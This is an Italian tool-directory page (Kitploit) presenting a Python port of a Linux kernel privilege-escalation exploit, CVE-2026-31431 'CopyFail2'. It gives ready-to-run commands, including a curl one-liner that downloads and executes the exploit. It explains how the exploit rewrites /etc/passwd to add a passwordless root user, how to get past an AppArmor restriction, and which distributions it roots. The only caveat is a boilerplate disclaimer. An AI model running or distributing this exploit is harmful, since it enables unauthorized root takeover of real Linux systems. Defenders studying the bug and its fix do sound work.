Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31431 — # Implementazione in Python di un exploit per l'escalation dei privilegi locali nel kernel Linux per CVE-2026-31431, che sfrutta xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW per sovrascrivere /etc/passwd e ottenere i privilegi di root. | Kitploit
Strumenti/GitHubGitHub/guiimoraes/cve-2026-31431
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploitPenetration TestingBinary Exploitation
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

# Implementazione in Python di un exploit per l'escalation dei privilegi locali nel kernel Linux per CVE-2026-31431, che sfrutta xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW per sovrascrivere /etc/passwd e ottenere i privilegi di root.

Vedi Repository
33 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Demo dell'exploit CopyFail2

CopyFail2 (CVE-2026-31431) - Implementazione in Python

Porting in Python dell'exploit del kernel CopyFail2 che sfrutta il percorso rapido no-COW MSG_SPLICE_PAGES di xfrm ESP-in-UDP per l'escalation dei privilegi locale non privilegiata su Linux.

Sostituisce una voce nologin/false in /etc/passwd con un utente uid-0 senza password e apre una shell di root tramite su.

Vulnerabilità

Il bug del kernel risiede nel percorso splice UDP utilizzato dall'incapsulamento xfrm ESP-in-UDP. splice() in un socket UDP con MSG_SPLICE_PAGES causa la mappatura delle pagine nella cache delle pagine del ricevitore senza attivare il copy-on-write. Ciò consente di scrivere in qualsiasi file attualmente mappato nella cache delle pagine, anche se aperto in sola lettura.

  • Implementazione C originale: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • Fix a monte: netdev/net.git

Requisiti

  • Kernel Linux >= 6.5 (supporto UDP MSG_SPLICE_PAGES)
  • libcrypto.so (OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN o la possibilità di creare user namespace

Quale versione usare

Questo repository fornisce due varianti. Entrambe producono lo stesso risultato; scegli in base alle tue esigenze.

Avvio rapido (ottimizzato)

root@kitploit:~
# One-liner tramite pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# File salvato
python3 exploit.py

# Annulla le modifiche
python3 exploit.py --clean

Avvio rapido (raw/riferimento)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

Su Ubuntu con apparmor_restrict_unprivileged_userns abilitato, salva prima il file ed eseguilo da disco; la modalità pipe salta il bypass di AppArmor.

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

Come funziona

  1. Forza bruta un IV AES-GCM il cui byte del keystream esegue lo XOR del byte originale di /etc/passwd nel valore desiderato.
  2. Installa uno stato xfrm ESP-in-UDP locale su 127.0.0.1:4500.
  3. Crea un file di supporto controllato dall'attaccante contenente l'header ESP e l'ICV contraffatti.
  4. Esegue splice() su tre intervalli (header ESP, byte target da /etc/passwd, ICV) in una pipe.
  5. Esegue splice() della pipe nel socket UDP, attivando il bug del kernel e scrivendo il byte nella cache delle pagine.
  6. Ripete per ogni byte differente per sovrascrivere una riga nologin/false con sick::0:0:...:/:/bin/bash.
  7. su - sick apre una shell di root (PAM nullok accetta password vuota).

Testato

Risoluzione dei problemi

cannot acquire CAP_NET_ADMIN

Il tuo kernel potrebbe avere kernel.unprivileged_userns_clone=0. Abilitalo:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

Se sei in esecuzione dentro Docker, avvia il container con --privileged o --cap-add=SYS_ADMIN.

Crediti

  • Hyunwoo Kim (imv4bel) e Kuan-Ting Chen — scoperta e fix a monte
  • Steffen Klassert — manutentore IPsec, ha pubblicato il fix
  • Brad Spengler / grsecurity — ha coniato "copyfail-class"
  • Theori / Xint — Copy Fail originale (CVE-2026-31431)
  • Exploit C originale di 0xdeadbeefnetwork
  • Exploit Python di guiimoraes

Disclaimer

Questo strumento è fornito esclusivamente per ricerca sulla sicurezza autorizzata e scopi educativi. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. Gli autori non si assumono alcuna responsabilità per uso improprio o danni causati da questo software.

Scarica lo strumento
FileDescrizioneVelocitàQuando usarlo
exploit.pyOttimizzato — riutilizza stato xfrm/socket/pipe tra le mutazioni, elabora 2 byte consecutivi per ciclo, polling attivo invece di sleep fisso.~3–8 s per una riga di 99 byteScelta predefinita. Veloce, stabile, testato su più distribuzioni.
exploit_raw.pyRiferimento — il più vicino al codice C originale. Ricrea stato xfrm, socket, pipe e file temporaneo per ogni singolo byte, sleep fisso di 200 ms per mutazione.~30–40 s per una riga di 99 byteUsalo se vuoi il percorso di codice più semplice possibile per l'audit, o se la versione ottimizzata si comporta male su una specifica build del kernel.
DistribuzioneKernelRisultato
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-genericnon vulnerabile